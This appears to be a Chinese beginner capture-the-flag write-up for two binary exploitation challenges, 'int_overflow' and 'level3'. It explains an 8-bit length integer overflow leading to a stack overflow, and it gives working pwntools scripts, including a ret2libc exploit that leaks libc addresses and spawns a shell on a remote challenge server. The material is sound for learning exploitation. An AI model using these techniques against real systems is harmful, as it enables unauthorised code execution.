int_overflow
call strlen 之后 返回值放在了al寄存器中,这是一个八位的积存器,也就是说如果 s 字符串的长度 大于255 就会造成 整数溢出。
那我们利用这个漏洞干什么呢,我们需要进到else里,将 read 读进来的 s 复制到 dest 中,是一个可以利用的栈溢出。
现在我们知道了可以通过整数溢出到达 栈溢出漏洞,修改程序执行流,使程序跳转到 what_is_this 中。
from pwn import *
p = process("./int_overflow")
p.sendlineafter("choice:","1")
p.sendlineafter("username:\n","YmCold")
payload = "A"*24
payload += p32(0x804868b)
payload = payload.ljust(261,"A")
p.sendlineafter("passwd:\n",payload)
print p.recvall()
level3
没有system,只能去libc库里面找
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
p=remote("111.198.29.45",31144)
elf = ELF("./level3")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
got_write = elf.got['write']
vul_func = 0x0804844b #这里用main_addr = elf.symbols['main'] 返回主函数也是可以滴
payload = 'A' * 140 + p32(plt_write) + p32(vul_func) + p32(1) + p32(got_write) + p32(4)
p.recvuntil('Input:\n')#这句千万不能漏了,逻辑出问题就会执行不了,这句的意思就是调用执行嘛,然后就把payload写进去就可以达到目的哟
p.send(payload)
write_addr = u32(p.recv(4))
print hex(write_addr)
libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
binsh_addr = offset + libc.dump('str_bin_sh')
payload1 = 'a' * 140 + p32(system_addr) + p32(plt_read) + p32(binsh_addr)
p.recvuntil('Input:\n')
p.send(payload1)
p.interactive()
好了,新手入门全部做完了,耶,开心~~~
萌新之旅要开始啦~~~